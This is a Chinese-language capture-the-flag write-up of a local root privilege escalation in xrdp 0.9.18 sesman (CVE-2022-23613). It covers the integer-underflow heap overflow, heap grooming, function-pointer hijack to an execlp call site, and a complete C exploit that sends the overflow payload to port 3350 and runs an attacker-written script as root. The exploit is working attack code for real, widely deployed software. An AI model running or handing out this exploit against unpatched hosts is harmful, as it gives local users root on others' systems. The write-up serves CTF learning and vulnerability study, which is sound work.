前言

一道realworld题目,难度不算太高吧但还是没能在时间内做出来,可惜。

题目描述

1
2
3
4
5
6
7
8
9
10
11
12
题目名称:RDP
虚拟机环境:虚拟机操作系统ubuntu22.04;管理员用户名rdp,密码Aa123456(展示机用户具有不同口令)。
题目描述:请针对xrdp服务进行漏洞利用,使用非管理员用户ctf执行选手exp程序后获取ubuntu操作系统root权限。
展示步骤:
1. 选手配置网络和虚拟机相连;
2. 操作员使用如下方式启动做题环境:
1. 直接恢复快照(ctf用户桌面);
2. 在上述方法失效时,使用展示机rdp用户的口令登录rdp帐号,使用sudo systemctl restart xrdp
&& sudo systemctl restart xrdp-sesman重启xrdp服务,然后切换至ctf用户;
3. 选手使用http服务放入exp程序,操作员使用浏览器进行下载;
4. 操作员执行选手exp程序(可多次执行,服务崩溃后选手可以选择重启靶机或恢复快照);
5. 如果在/目录成功写入内容包含队伍特征的flag文件,则挑战成功。

附件给了三个文件

1
2
3
RDP.mf
RDP.ovf
RDP-disk1.vmdk

解题思路

准备工作

首先使用vmware导入RDP.ovf,后台会自动运行xrdpxrdp-sesman

1
2
3
4
rdp@RDP:~/Desktop/RW$ ps -aux | grep xrdp
root 1057 0.0 0.0 21924 2284 ? S 00:12 0:00 /usr/local/sbin/xrdp-sesman
root 1066 0.0 0.0 21604 2360 ? S 00:12 0:00 /usr/local/sbin/xrdp
rdp 2551 0.0 0.0 17864 2640 pts/0 S+ 00:35 0:00 grep --color=auto xrdp

查看版本

1
2
3
4
5
6
7
8
9
10
rdp@RDP:~/Desktop/RW$ xrdp --version
xrdp 0.9.18
A Remote Desktop Protocol Server.
Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.
See https://github.com/neutrinolabs/xrdp for more information.

Configure options:


Compiled with OpenSSL 1.1.1f 31 Mar 2020

里面给了一个diff,将可连接的数量改大了,猜测目的是为了更好地造成漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/sesman/sesman.c b/sesman/sesman.c
index a8576905..38a2f642 100644
--- a/sesman/sesman.c
+++ b/sesman/sesman.c
@@ -40,7 +40,7 @@
* At the moment, all connections to sesman are short-lived. This may change
* in the future
*/
-#define MAX_SHORT_LIVED_CONNECTIONS 16
+#define MAX_SHORT_LIVED_CONNECTIONS 512

struct sesman_startup_params
{

上github,发现tagv0.9.18.1,发现修复了CVE-2022-23613

1
xrdp is an open source remote desktop protocol (RDP) server. In affected versions an integer underflow leading to a heap overflow in the sesman server allows any unauthenticated attacker which is able to locally access a sesman server to execute code as root. This vulnerability has been patched in version 0.9.18.1 and above. Users are advised to upgrade. There are no known workarounds.

修复了sesman中一个由整数下溢造成的堆溢出,可以造成本地普通用户提权为root,符合题目描述。查看代码信息,发现patch的位置是增加了一个不能小于8的判断来防止下溢

vRJr60.png

源码调试:将仓库代码git clone到本地,再通过checkout切换版本到0.9.18,即可在调试时显示源码

每次连接后可能堆块会残留在程序中或者程序可能crash,故需要重启服务,且调试需要attach进程,写一个脚本来方便这些事情

1
2
3
4
gcc -g -o exp exp.c
sudo service xrdp restart
ps -aux | grep xrdp
sudo gdb

通过lsof -i查看端口情况(root),发现sesman监听3350端口。在源码中也能得到印证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rdp@RDP:~/Desktop/RW$ sudo lsof -i
[sudo] password for rdp:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
systemd-r 674 systemd-resolve 13u IPv4 33305 0t0 UDP localhost:domain
systemd-r 674 systemd-resolve 14u IPv4 33306 0t0 TCP localhost:domain (LISTEN)
avahi-dae 866 avahi 12u IPv4 30644 0t0 UDP *:mdns
avahi-dae 866 avahi 13u IPv6 30645 0t0 UDP *:mdns
avahi-dae 866 avahi 14u IPv4 30646 0t0 UDP *:55046
avahi-dae 866 avahi 15u IPv6 30647 0t0 UDP *:42625
NetworkMa 1026 root 25u IPv4 38110 0t0 UDP RDP:bootpc->192.168.199.254:bootps
cupsd 1040 root 6u IPv6 34906 0t0 TCP ip6-localhost:ipp (LISTEN)
cupsd 1040 root 7u IPv4 34907 0t0 TCP localhost:ipp (LISTEN)
xrdp-sesm 1057 root 7u IPv4 38033 0t0 TCP localhost:3350 (LISTEN)
xrdp 1069 root 11u IPv4 36743 0t0 TCP *:ms-wbt-server (LISTEN)
cups-brow 1113 root 7u IPv4 35559 0t0 UDP *:631

1
2
3
4
if ('\0' == cf->listen_port[0])
{
g_strncpy(cf->listen_port, "3350", 5);
}

代码理解

漏洞出现在sesman中。sesman的main函数进入sesman_main_looplist_create创建列表保存每个连接,trans_create创建输入输出流用来交互。

接着进入一个死循环,里面第一个for循环遍历trans_get_wait_objs_rw获取每个连接,第二个for循环遍历trans_check_wait_objs检查每个连接,其中对于还未进行结构体初始化的连接会做初始化操作,这里通过调用函数指针sesman_listen_conn_in设置新连接new_self的结构体信息,其中trans_data_in设置为sesman_data_in

/sesman/sesman.c/sesman_main_loop(void)

1
2
3
4
...
g_list_trans->trans_conn_in = sesman_listen_conn_in;
...
error = trans_check_wait_objs(g_list_trans);

/common/trans.c/trans_check_wait_objs(trans *)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (in_sck != -1)
{
if (self->trans_conn_in != 0) /* is function assigned */
{
in_trans = trans_create(self->mode, self->in_s->size,
self->out_s->size);
in_trans->sck = in_sck;
in_trans->type1 = TRANS_TYPE_SERVER;
in_trans->status = TRANS_STATUS_UP;
in_trans->is_term = self->is_term;
g_strncpy(in_trans->addr, self->addr,
sizeof(self->addr) - 1);
g_strncpy(in_trans->port, self->port,
sizeof(self->port) - 1);
g_sck_set_non_blocking(in_sck);
if (self->trans_conn_in(self, in_trans) != 0)
{
trans_delete(in_trans);
}
}
else
{
g_tcp_close(in_sck);
}
}

/sesman/sesman.c/sesman_listen_conn_in(trans *, trans *)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static int
sesman_listen_conn_in(struct trans *self, struct trans *new_self)
{
struct sesman_con *sc;
if (g_con_list->count >= MAX_SHORT_LIVED_CONNECTIONS)
{
LOG(LOG_LEVEL_ERROR, "sesman_data_in: error, too many "
"connections, rejecting");
trans_delete(new_self);
}
else if ((sc = alloc_connection(new_self)) == NULL)
{
LOG(LOG_LEVEL_ERROR, "sesman_data_in: No memory to allocate "
"new connection");
trans_delete(new_self);
}
else
{
new_self->header_size = 8;
new_self->trans_data_in = sesman_data_in;
new_self->no_stream_init_on_data_in = 1;
new_self->extra_flags = 0;
list_add_item(g_con_list, (intptr_t) sc);
}

return 0;
}

trans_check_wait_objs中连接的类型不是监听则会对连接进行具体的处理。trans_can_recv在上面的trans_create中已被赋值为trans_tcp_can_recv,最后是调用select对文件描述符进行监控,接收到内容就返回1进入if语句。这里当一个连接第一次进入的时候self->header_size会是初始值8,read_so_far为0,故to_read=8,接下来从流中读入8字节,下面判断如果read_so_far==self->header_size即说明这是第一次读入报文内容,是用来设置header_size的,故调用trans_data_in实际是sesman_data_in函数,该函数会从输入流中读取4个字节作为version存起来,接着再读4个字节作为header_size存起来,读的时候进行了大小端序的转换。前面提到修复cve的patch就在这里,这里没有修复的情况下self->header_size可以设置为负数

从外部循环第二次进入这里的时候就会继续读入报文8字节之后的内容了,此时to_read = self->header_size - read_so_far;计算接着读入的字节数,而read_so_far此时是刚才读入的8字节。

这里当设置self->header_size为负数0x80000000时,经过-read_so_far-8,则会发生负数的下溢,从而变成一个很大的正数0x7ffffff8,然后作为参数执行read_bytes = self->trans_recv(self, self->in_s->end, to_read);,从而发生溢出

/common/trans.c/trans_check_wait_objs(trans *)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
else /* connected server or client (2 or 3) */
{
if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
{
}
else if (self->trans_can_recv(self, self->sck, 0))
{
cur_source = XRDP_SOURCE_NONE;
if (self->si != 0)
{
cur_source = self->si->cur_source;
self->si->cur_source = self->my_source;
}
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;

if (to_read > 0)
{
read_bytes = self->trans_recv(self, self->in_s->end, to_read);

if (read_bytes == -1)
{
if (g_tcp_last_error_would_block(self->sck))
{
/* ok, but shouldn't happen */
}
else
{
/* error */
self->status = TRANS_STATUS_DOWN;
if (self->si != 0)
{
self->si->cur_source = cur_source;
}
return 1;
}
}
else if (read_bytes == 0)
{
/* error */
self->status = TRANS_STATUS_DOWN;
if (self->si != 0)
{
self->si->cur_source = cur_source;
}
return 1;
}
else
{
self->in_s->end += read_bytes;
}
}

read_so_far = (int) (self->in_s->end - self->in_s->data);

if (read_so_far == self->header_size)
{
if (self->trans_data_in != 0)
{
rv = self->trans_data_in(self);
if (self->no_stream_init_on_data_in == 0)
{
init_stream(self->in_s, 0);
}
}
}
if (self->si != 0)
{
self->si->cur_source = cur_source;
}
}
if (trans_send_waiting(self, 0) != 0)
{
/* error */
self->status = TRANS_STATUS_DOWN;
return 1;
}
}

/sesman/sesman.c/sesman_data_in(trans *)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static int
sesman_data_in(struct trans *self)
{
int version;
int size;

if (self->extra_flags == 0)
{
in_uint32_be(self->in_s, version);
in_uint32_be(self->in_s, size);
if (size > self->in_s->size) // < 8
{
LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");
return 1;
}
self->header_size = size;
self->extra_flags = 1;
}
else
{
/* process message */
struct sesman_con *sc = (struct sesman_con *)self->callback_data;
self->in_s->p = self->in_s->data;
if (scp_process(self, sc->s) != SCP_SERVER_STATE_OK)
{
LOG(LOG_LEVEL_ERROR, "sesman_data_in: scp_process_msg failed");
return 1;
}
/* reset for next message */
self->header_size = 8;
self->extra_flags = 0;
init_stream(self->in_s, 0); /* Reset input stream pointers */
}
return 0;
}

漏洞利用

首先该程序的堆结构还是相对复杂的,不太可能利用传统堆题的重叠之类的进行利用。观察可以看到堆上保存每个连接对应的结构体,其中trans中保存了三个函数指针trans_tcp_recvtrans_tcp_sendtrans_tcp_can_recv。上面trans_check_wait_objs(trans *)函数中可以看到都会首先调用函数指针trans_tcp_can_recv来判断连接,所以可以考虑修改该函数指针从而劫持执行流。

接着想要覆盖该函数指针自然需要溢出的位置在要修改的指针的上方,查看初始堆状态发现存在很多碎片bin。

vRIf5F.png

所以可以先通过多次连接申请空间拿出bin,接着创建一个等待溢出的连接,然后再创建诸多连接等待被利用。接着对位于上方的连接进行数据传输造成溢出修改函数指针即可劫持执行流。

vRII29.png

接下来要寻找劫持到哪里了,命令长度最长12字节,因为后面有一个状态位status必须为1否则直接返回。失败的思路是劫持到程序自己的common库中,因为common库中存在system函数,而rdi可控可以用来执行指令,然后common库的地址是随机化了的,正确率1/16,实际上发现还可能出现其他情况造成异常crash所以实际成功率会更低,而演示是有时间限制的,所以此方法最终是失败了。

/common/trans.c/trans_check_wait_bojs(trans *)

1
2
3
4
5
6
#define TRANS_STATUS_UP 1

if (self->status != TRANS_STATUS_UP)
{
return 1;
}

事实上xrdp-sesman没有开启PIE,正确的思路是在这里面寻找劫持的位置,可惜当时是这么想的但是只找到几个无法控制的地方,最后在头脑清醒的时间内没有找到。

其实就是围绕popenexec*这样的函数查找。在劫持的瞬间rdi指向命令内容,而rsi就是命令内容前八字节的值。

首先找到一个popen,发现无法利用,因为rbp不可控,而直接跳转的话第二个参数需要是"r"也不可控

vRoBdK.png

其次是execvp有三处调用,但参数均不适合,execvp需要第二个参数是一个指针数组,里面依次指向字符串执行指令。下图第二处需要控制参数为指针指向命令字符串。然而这里没有泄露地址,故也无法控制。

1
vRosiD.png

2
vRo6RH.png

3
vRTdpQ.png

其实这里还有一个g_execlp3,最终调用的是execlpexeclp从PATH环境变量中查找文件并执行。例子execlp(“ls”,”ls”,”-al”,”/etc/passwd”,(char *)0);

g_execlp3在程序中有五处调用,其中四处在调用函数前都将rdi赋值给了rsi如下图所示,而rdi指向的就是我们能够控制的指令,故实际上可以利用这里来控制参数执行命令,最终执行execlp("/home/rdp/s", "/home/rdp/s", NULL, NULL)

vRTgtU.png

所以我们可以先把命令写到一个文件中,然后调用这里执行命令来在根目录下写入文件,因为后台运行的xrdp-sesman是root权限,所以这里也就完成了所谓的普通用户提权到了root权限

shell命令

1
2
#!/bin/sh
echo 1 > /flag

finally因为靶机中没有pwntools使用,所以要将上述内容用C进行实现并编译,再放入靶机运行即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>

#define NULL 0

int socket(int domain, int type, int protocal);
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int dup2(int oldfd, int newfd);
int execve(const char *filename, char *const argv[], char *const envp[]);
int close(int fd);
int dd[0x50];
int cnt = 0;

int remote()
{
char* address = "127.0.0.1";
int port = 3350;
// create a new socket but it has no address assigned yet
int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);

// create sockaddr_in structure for use with connect function
struct sockaddr_in sock_in;
sock_in.sin_family = AF_INET;
sock_in.sin_addr.s_addr = inet_addr(address);
sock_in.sin_port = htons(port);

// perform connect to target IP address and port
connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));

dd[cnt++] = sockfd;
return sockfd;
}
void init(){
system("touch /home/rdp/s");
system("echo '#!/bin/sh\necho 1 > /flag' > /home/rdp/s");
system("chmod 777 /home/rdp/s");
}

int main()
{
init();
char* payload = malloc(0x4400);
memset(payload, 0, 0x4400);
memcpy(payload, "\x00\x00\x00\x00\x80\x00\x00\x00", 8);
memcpy(payload+0x200, "\x41\x41\x41\x41\x41\x41\x41\x41", 8);
memcpy(payload+0x2008, "\x11\x20\x00\x00\x00\x00\x00\x00", 8);
memcpy(payload+0x2010+0x2008, "\xb1\x00\x00\x00\x00\x00\x00\x00", 8);
memcpy(payload+0x2010+0x2000+0xb8, "\x81\x00\x00\x00\x00\x00\x00\x00", 8);
memcpy(payload+0x2010+0x2000+0xb0+0x28, "\x00\x20\x00\x00\x00\x00\x00\x00", 8);
memcpy(payload+0x2010+0x2000+0xb0+0x88, "\xb1\x02\x00\x00\x00\x00\x00\x00", 8);

memcpy(payload+0x2010+0x2000+0xb0+0x90, "\x2f\x68\x6f\x6d\x65\x2f\x72\x64\x70\x2f\x73\x00", 12);
memcpy(payload+0x2010+0x2000+0xb0+0x90+12, "\x01\x00\x00\x00", 4);
memcpy(payload+0x2010+0x2000+0xb0+0x90+0x290, "\x77\x80\x40\x00\x00\x00\x00\x00", 8); //408077
printf("[*] start attacking\n");
printf("[*] conntected fd:");
for (int i = 0; i < 0x11; i++){
printf(" %d", remote());
}
printf("\n");
int fd = remote();
printf("[*] attack fd:%d\n", fd);
printf("[*] conntected fd:");
for (int i = 0; i < 0x10; i++){
printf(" %d", remote());
}
printf("\n");
printf("[*] payload length: %d\n", write(fd, payload, 0x43e8));
printf("[*] payload sended\n");
sleep(2);
int flag_fd = open("/flag", O_RDONLY);
if(flag_fd > 0){
printf("[+] success!\n");
}
else{
printf("[!] fail!\n");
}
return 0;
}

效果图

vR7I2Q.png

总结

总结没做出来原因就是代码审计的能力太差前期花了太多时间,最后还是ver爷指点了如何触发漏洞;其次就是对exec()函数族了解太有限,没有及时找到并想到利用execlp导致最后劫持执行流方向错误。